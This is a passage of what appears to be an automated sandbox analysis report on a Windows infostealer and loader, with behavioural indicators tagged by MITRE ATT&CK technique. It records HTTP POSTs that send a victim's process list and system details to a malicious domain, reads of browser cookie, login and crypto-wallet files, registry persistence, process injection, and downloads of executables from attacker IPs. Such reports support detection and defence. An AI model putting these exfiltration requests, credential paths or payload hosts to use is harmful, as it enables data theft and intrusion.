"https://go.eset.com/password_manager_extension?lng=$" - Source: "00000000-00007368.00000000.188550.002DD000.00000002.mdmp") Found URL "https://msp.eset.comgui.upconvert.show$" - Source: "00000000-00007368.00000000.188550.002DD000.00000002.mdmp") Found URL "http://phishing.eset.com/report/$" - Source: "00000000-00007368.00000000.188550.002DD000.00000002.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?f%w0digicert" - Source: "00000000-00007368.00000000.188550.002DD000.00000002.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftcodeverifroot.crl0m0k0i/0\0zm0k0i=http://www.microsoft.com/pki/certs/microsoftcodeverifroot.crt08&v:" - Source: "00000000-00007368.00000000.188550.002DD000.00000002.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn "+ [System Process]+ System+ smss.exe+ csrss.exe+ wininit.exe+ csrss.exe+ winlogon.exe+ services.exe+ lsass.exe+ svchost.exe+ svchost.exe+ fontdrvhost.exe+ fontdrvhost.exe+ svchost.exe+ svchost.exe+ dwm.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ Memory Compression+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ dllhost.exe+ WmiPrvSE.exe+ msdtc.exe+ svchost.exe+ sihost.exe+ svchost.exe+ svchost.exe+ taskhostw.exe+ svchost.exe+ svchost.exe+ ctfmon.exe+ explorer.exe+ ShellExperienceHost.exe+ SearchUI.exe+ RuntimeBroker.exe+ svchost.exe+ RuntimeBroker.exe+ svchost.exe+ ONENOTEM.EXE+ OSPPSVC.EXE+ sedsvc.exe+ svchost.exe+ svchost.exe+ ApplicationFrameHost.exe+ WinStore.App.exe+ RuntimeBroker.exe+ SystemSettings.exe+ RuntimeBroker.exe+ svchost.exe+ svchost.exe+ svchost.exe+ conhost.exe+ conhost.exe+ svchost.exe+ TrustedInstaller.exe+ TiWorker.exe+ svchost.exe+ backgroundTaskHost.exe+ svchost.exe+ sppsvc.exe+ SppExtComObj.Exe+ mitmdump.exe+ conhost.exe+ svchost.exe+ bnciobys.exe+ ponbyxs.exe+ ponbyxs.tmp+ svchost.exe+ A068533DBF09758809014.exe+ dllhost.exe+ Total Processes: 112" "POST /fc42b661e800a99c949ecc10001c1f3b/q7cherolivolejk HTTP/1.1 Connection: Keep-Alive Content-Type: application/octet-stream User-Agent: Client/1.0 X-Filename: processes.txt X-Browser-Type: system X-Profile-Name: info Content-Length: 1891 Host: mosslotus2020.shop" with payload:==> "+ [System Process]+ System+ smss.exe+ csrss.exe+ wininit.exe+ csrss.exe+ winlogon.exe+ services.exe+ lsass.exe+ svchost.exe+ svchost.exe+ fontdrvhost.exe+ fontdrvhost.exe+ svchost.exe+ svchost.exe+ dwm.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ Memory Compression+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ svchost.exe+ dllhost.exe+ WmiPrvSE.exe+ msdtc.exe+ svchost.exe+ sihost.exe+ svchost.exe+ svchost.exe+ taskhostw.exe+ svchost.exe+ svchost.exe+ ctfmon.exe+ explorer.exe+ ShellExperienceHost.exe+ SearchUI.exe+ RuntimeBroker.exe+ svchost.exe+ RuntimeBroker.exe+ svchost.exe+ ONENOTEM.EXE+ OSPPSVC.EXE+ sedsvc.exe+ svchost.exe+ svchost.exe+ ApplicationFrameHost.exe+ WinStore.App.exe+ RuntimeBroker.exe+ SystemSettings.exe+ RuntimeBroker.exe+ svchost.exe+ svchost.exe+ svchost.exe+ conhost.exe+ conhost.exe+ svchost.exe+ TrustedInstaller.exe+ TiWorker.exe+ svchost.exe+ backgroundTaskHost.exe+ svchost.exe+ mitmdump.exe+ conhost.exe+ svchost.exe+ bnciobys.exe+ svchost.exe+ dllhost.exe+ eServiceHost.exe+ EE51.tmp.u6j3phm900pz.exe+ 6BD.tmp.Public-key_73.18.9_INSTALL.exe+ FnHotkeyUtility.exe+ 6BD.tmp.Public-key_73.18.9_INSTALL.tmp+ dllhost.exe+ Total Processes: 113"c7:T730,"POST /fc42b661e800a99c949ecc10001c1f3b/q7cherolivolejk HTTP/1.1 Connection: Keep-Alive Content-Type: application/octet-stream User-Agent: Client/1.0 X-Filename: systems.txt X-Browser-Type: system X-Profile-Name: info Content-Length: 682 Host: mosslotus2020.shop" with payload:==> "+ Processor: Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz+ CPU Cores: 8+ CPU Architecture: x64+ Total RAM: 8191 MB+ Available RAM: 6316 MB+ Operating System: Windows 10 Pro (Build 16299)- Computer Name: DESKTOP-FVVF82A- User Name: HAPUBWS- Path: C:\Users\HAPUBWS\AppData\Roaming\bnciobys.exe+ Disk Space (C:): 65 GB used / 100 GB total+ Free Space: 35 GB+ System Date: 28/01/2026 PST+ System Time: 08:16:22 PST+ Timezone: Pacific Standard Time (UTC4294967288)+ System Uptime: 10 days, 12 hours, 35 minutes+ System Language: en-US+ User Language: English+ Keyboard Language: English+ Screen Resolution: 1280x1024+ GPU: VMware SVGA 3D" "POST /fc42b661e800a99c949ecc10001c1f3b/q7cherolivolejk HTTP/1.1 Connection: Keep-Alive Content-Type: application/octet-stream User-Agent: Client/1.0 X-Filename: systems.txt X-Browser-Type: system X-Profile-Name: info Content-Length: 698 Host: mosslotus2020.shop" with payload:==> "+ Processor: Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz+ CPU Cores: 8+ CPU Architecture: x64+ Total RAM: 8191 MB+ Available RAM: 5868 MB+ Operating System: Windows 10 Pro (Build 16299)- Computer Name: DESKTOP-FVVF82A- User Name: HAPUBWS- Path: C:\Users\HAPUBWS\AppData\Local\Temp\EE51.tmp.u6j3phm900pz.exe+ Disk Space (C:): 65 GB used / 100 GB total+ Free Space: 35 GB+ System Date: 28/01/2026 PST+ System Time: 09:11:04 PST+ Timezone: Pacific Standard Time (UTC4294967288)+ System Uptime: 10 days, 12 hours, 35 minutes+ System Language: en-US+ User Language: English+ Keyboard Language: English+ Screen Resolution: 1280x1024+ GPU: VMware SVGA 3D"c8:T6b3,"A068533DBF09758809014.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\profiles.ini" "A068533DBF09758809014.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\prefs.js" "A068533DBF09758809014.exe" trying to open a file "%APPDATA%\Mozilla\Firefox\profiles.ini" "A068533DBF09758809014.exe" trying to open a file "%APPDATA%\Mozilla\Firefox\Profiles\ywzu7870.default\prefs.js" "eServiceHost.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CHROMIUM\USER DATA" "eServiceHost.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\SLIMJET\USER DATA" "eServiceHost.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\COOKIES" "eServiceHost.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" "eServiceHost.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Local State" "eServiceHost.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data" "eServiceHost.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Web Data" "eServiceHost.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\COOKIES" "eServiceHost.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" "eServiceHost.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "eServiceHost.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Web Data"c9:T8de,eServiceHost.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\HPGLFHGFNHBGPJDENJGMDGOEIAPPAFLN related to Guarda eServiceHost.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\BLNIEIIFFBOILLKNJNEPOGJHKGNOAPAC related to EQUA Wallet eServiceHost.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\CJELFPLPLEBDJJENLLPJCBLMJKFCFFNE related to Jaxx Liberty eServiceHost.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\FIHKAKFOBKMKJOJPCHPFGCMHFJNMNFPI related to BitApp Wallet eServiceHost.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\KNCCHDIGOBGHENBBADDOJJNNAOGFPPFJ related to iWallet eServiceHost.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\AMKMJJMMFLDDOGMHPJLOIMIPBOFNFJIH related to Wombat eServiceHost.exe trying to open a file %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\HPGLFHGFNHBGPJDENJGMDGOEIAPPAFLN related to Guarda eServiceHost.exe trying to open a file %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\BLNIEIIFFBOILLKNJNEPOGJHKGNOAPAC related to EQUA Wallet eServiceHost.exe trying to open a file %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\CJELFPLPLEBDJJENLLPJCBLMJKFCFFNE related to Jaxx Liberty eServiceHost.exe trying to open a file %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\FIHKAKFOBKMKJOJPCHPFGCMHFJNMNFPI related to BitApp Wallet eServiceHost.exe trying to open a file %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\KNCCHDIGOBGHENBBADDOJJNNAOGFPPFJ related to iWallet eServiceHost.exe trying to open a file %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\AMKMJJMMFLDDOGMHPJLOIMIPBOFNFJIH related to Wombat eServiceHost.exe trying to open a file %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\OOKJLBKIIJINHPMNJFFCOFJONBFBGAOC related to Templeca:Tc0b,Spawned process " tE!\"\n \"socxtnre.exe\" was detected as \"Borland Delphi 3.0 (???)\"\n \"is-O1AIO.tmp\" was detected as \"ACProtect v1.3x - v1.4x DLL -> Risco Software Inc.\"\n \"6BD.tmp.Public-key_73.18.9_INSTALL.tmp\" was detected as \"Borland Delphi 4.0\"\n \"ponbyxs.tmp\" was detected as \"Borland Delphi 4.0\"\n \"zyxwvuts.tmp\" was detected as \"Borland Delphi 4.0\"\n \"is-STVVU.tmp\" was detected as \"ACProtect v1.3x - v1.4x DLL -> Risco Software Inc.\"\n \"is-OLNLL.tmp\" was detected as \"VC8 -> Microsoft Corporation\"\n \"is-5TTVG.tmp\" was detected as \"Borland Delphi 3.0 (???)\"\n \"is-73K58.tmp\" was detected as \"Borland Delphi 3.0 (???)\"\n \"is-0D0DF.tmp\" was detected as \"Visual C++ 2005 Release -> Microsoft\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"informative","category":"Unusual Characteristics","name":"Possibly uses a Windows Server utility","description":"\"%ALLUSERSPROFILE%\\f43ba8be-46d3-49e9-a2cf-890eeaadd407\\Fondue.exe\" (Indicator: \"fondue.exe\")","origin":"File/Memory","relevance":10,"id":"string-65","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"$bb","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reference explorer.exe process","description":"Found string \"explorer.exe\" (Indicator: \"explorer.exe\"; File: \"a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-481","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin\" has section name .data with entropy \"7.588518841170152\"\n \"socxtnre.exe\" has section name .data with entropy \"7.072486058344208\"\n \"xvpbhsn.exe\" has section name .idata with entropy \"7.95412665287277\"\n \"F826.tmp.syibvx.exe\" has section name .idata with entropy \"7.950995354627427\"\n \"is-O1AIO.tmp\" has section name UPX1 with entropy \"7.9996402202681836\"\n \"is-O1AIO.tmp\" has section name .rsrc with entropy \"7.981479930691907\"\n \"is-STVVU.tmp\" has section name UPX1 with entropy \"7.999619561540558\"\n \"is-OLNLL.tmp\" has section name .rsrc with entropy \"7.865437956378335\"\n \"is-0D0DF.tmp\" has section name .rsrc with entropy \"7.340113559622032\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"12/26 Antivirus vendors marked sample as malicious (46% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"FindResourceW@KERNEL32.DLL at 00000000-00004584-16864-3689-01091AC8\n FindResourceW@KERNEL32.DLL at 00000000-00002216-22665-3687-00991AC8\n FindResourceW@KERNEL32.DLL at 00000000-00007368-48296-2026-00275380\n FindResourceW@KERNEL32.DLL at 00000000-00007368-48296-2027-00242FF0\n FindResourceExW@KERNEL32.DLL at 00000000-00007368-48296-2034-00243030\n FindResourceW@KERNEL32.DLL at 00000000-00007368-48296-2128-00262730\n LoadResource@KERNEL32.DLL at 00000000-00007368-48296-2129-00246600\n FindResourceExW@KERNEL32.DLL at 00000000-00007368-48296-2130-00246540\n FindResourceW@KERNEL32.DLL at 00000000-00007368-48296-2204-002466B0\n FindResourceW@KERNEL32.DLL at 00000000-00007368-48296-2209-0026CFB0\n FindResourceW@KERNEL32.DLL at 00000000-00007368-48296-3124-0023D5C0\n FindResourceW@KERNEL32.DLL at 00000000-00007368-48296-3130-0023DC80\n FindResourceW@KERNEL32.DLL at 00000000-00007368-48296-3131-0023DF60\n FindResourceW@KERNEL32.DLL at 00000000-00000740-59616-3683-00E41AC8","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1005","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"details too long to display","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"$bc","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$bd","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"ivlnbis.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\")\n \"ivlnbis.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"ADCFAEAFFBEBBC\"; Value: \"\"%ALLUSERSPROFILE%\\adcfaeaffbebbc.exe\"\")\n \"xvpbhsn.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\")\n \"xvpbhsn.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"ADCFAEAFFBEBBC\"; Value: \"\"%ALLUSERSPROFILE%\\adcfaeaffbebbc.exe\"\")\n \"dllhost.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"A068533DBF09758809014\"; Value: \"%APPDATA%\\A068533DBF09758809014\\A068533DBF09758809014.exe\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$be","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 149.154.167.99 on port 443 is sent without HTTP header\n TCP traffic to 45.93.20.55 on port 80 is sent without HTTP header\n TCP traffic to 104.21.30.123 on port 80 is sent without HTTP header\n TCP traffic to 45.93.20.151 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"suspicious","category":"Network Related","name":"Uses a browser-related user-agent without launching browser","description":"Found user-agent(s): Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"foipbiu.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Contains ability to update the user profile","description":"SystemParametersInfoW@USER32.DLL at 00000000-00007368-48296-3187-00264AA0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1098","relevance":5,"id":"stream-123","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains indicators of bot communication commands","description":"Found string \"/geter/index.php?cmd=task&uid=btldr0671ECFCFE70F269A&status=task\" (Indicator: \"cmd=\"; File: \"PCAP\")\n file/memory contains long string with (Indicator: \"cmd=\"; File: \"PCAP\")","origin":"File/Memory","mitre_attack_id":"T1041","relevance":3,"id":"string-29","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"suspicious","category":"Remote Access Related","name":"Reads terminal service related keys (often RDP related)","description":"\"ponbyxs.tmp\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"GLASSSESSIONID\")\n \"zyxwvuts.tmp\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"GLASSSESSIONID\")","origin":"Registry Access","mitre_attack_id":"T1021.001","relevance":10,"id":"registry-61","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$bf","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$c0","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"$c1","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"EE51.tmp.u6j3phm900pz.exe\" claimed CRC 74849 while the actual is CRC 139514\n \"is-O1AIO.tmp\" claimed CRC 5192986 while the actual is CRC 59254\n \"is-STVVU.tmp\" claimed CRC 3118260 while the actual is CRC 3529550\n \"is-D5DRT.tmp\" claimed CRC 1725143 while the actual is CRC 3118260\n \"is-OLNLL.tmp\" claimed CRC 1235545 while the actual is CRC 1725143\n \"is-73LIP.tmp\" claimed CRC 619915 while the actual is CRC 1235545\n \"is-5TTVG.tmp\" claimed CRC 546302 while the actual is CRC 619915\n \"is-73K58.tmp\" claimed CRC 472053 while the actual is CRC 546302\n \"is-0D0DF.tmp\" claimed CRC 154839 while the actual is CRC 472053","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"is-O1AIO.tmp\" has an entrypoint in section \"UPX1\"\n \"is-STVVU.tmp\" has an entrypoint in section \"UPX1\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"$c2","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"\"taskhost.exe\" claims program is from Thu Jan 1 00:00:00 1970\n \"is-73LIP.tmp\" claims program is from Mon Aug 17 15:25:23 2065\n \"is-73K58.tmp\" claims program is from Sat Oct 12 01:26:26 1991","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"$c3","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"PE file contains executable resources","description":"6BD.tmp.Public-key_73.18.9_INSTALL.tmp has PE file in resource with name: \"RT_RCDATA\" and filetype:PE32+ executable for MS Windows 5.02 (console)\n x86-64\n 5 sections\n ponbyxs.tmp has PE file in resource with name: \"RT_RCDATA\" and filetype:PE32+ executable for MS Windows 5.02 (console)\n x86-64\n 5 sections\n zyxwvuts.tmp has PE file in resource with name: \"RT_RCDATA\" and filetype:PE32+ executable for MS Windows 5.02 (console)\n x86-64\n 5 sections","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":10,"id":"static-97","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Tries to hide tracks of having downloaded a file from the internet","description":"\"dllhost.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\A068533DBF09758809014\\A068533DBF09758809014.exe:ZONE.IDENTIFIER\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-42","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Windows system process connects to a network","description":"Process \"svchost.exe\" connects to 45.93.20.151:80","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":7,"id":"target-269","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"malicious","category":"Environment Awareness","name":"Reads the windows product ID","description":"\"socxtnre.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"DIGITALPRODUCTID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":6,"id":"registry-5","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"12/26 Antivirus vendors marked sample as malicious (46% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"malicious","category":"General","name":"Calls an API typically used to execute an application","description":"$c4","origin":"API Call","mitre_attack_id":"T1106","relevance":10,"id":"api-117","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"malicious","category":"Installation/Persistence","name":"Injects into explorer","description":"Injected into \"explorer.exe\" (UID: 00000000-00005440)","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":5,"id":"target-20","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"malicious","category":"Installation/Persistence","name":"Injects into remote processes","description":"Injected into \"explorer.exe\" at 2026-1-28.00:15:17.765 (UID: 00000000-00005440)","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":6,"id":"target-0","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$c5","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"mosslotus2020.shop\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"malicious","category":"Network Related","name":"GETs executable from a webserver (HTTPS)","description":"GET /martread.exe HTTP/1.1\nUser-Agent: Mozilla/5.0\nHost: 45.93.20.151\nCache-Control: no-cache\n\n GET /u6j3phm900pz.exe HTTP/1.1\nHost: 45.93.20.55\nPragma: no-cache\nContent-type: text/html\nConnection: close\n\n GET /syibvx.exe HTTP/1.1\nHost: 45.93.20.55\nPragma: no-cache\nContent-type: text/html\nConnection: close\n\n GET /Public-key_73.18.9_INSTALL.exe HTTP/1.1\nHost: 45.93.20.55\nPragma: no-cache\nContent-type: text/html\nConnection: close\n\n GET /syncloh.exe HTTP/1.1\nUser-Agent: Mozilla/5.0\nHost: 45.93.20.55\nCache-Control: no-cache\n\n GET /Public-key_73.18.9_INSTALL.exe HTTP/1.1\nUser-Agent: Mozilla/5.0\nHost: 45.93.20.55\nCache-Control: no-cache\n","origin":"Network Traffic","mitre_attack_id":"T1105","relevance":5,"id":"network-74","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"malicious","category":"Network Related","name":"Makes HTTPS connections using an insecure TLS/SSL version","description":"Connection was made using TLSv1.0 [tls.handshake.version: 0x0301]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":10,"id":"network-53","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"malicious","category":"Network Related","name":"Modifies internet zones","description":"\"A068533DBF09758809014.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONES\\3\"; Key: \"2500\"; Value: \"0300000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":5,"id":"registry-43","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"malicious","category":"Network Related","name":"Observed system process names in POST request","description":"$c6","origin":"Network 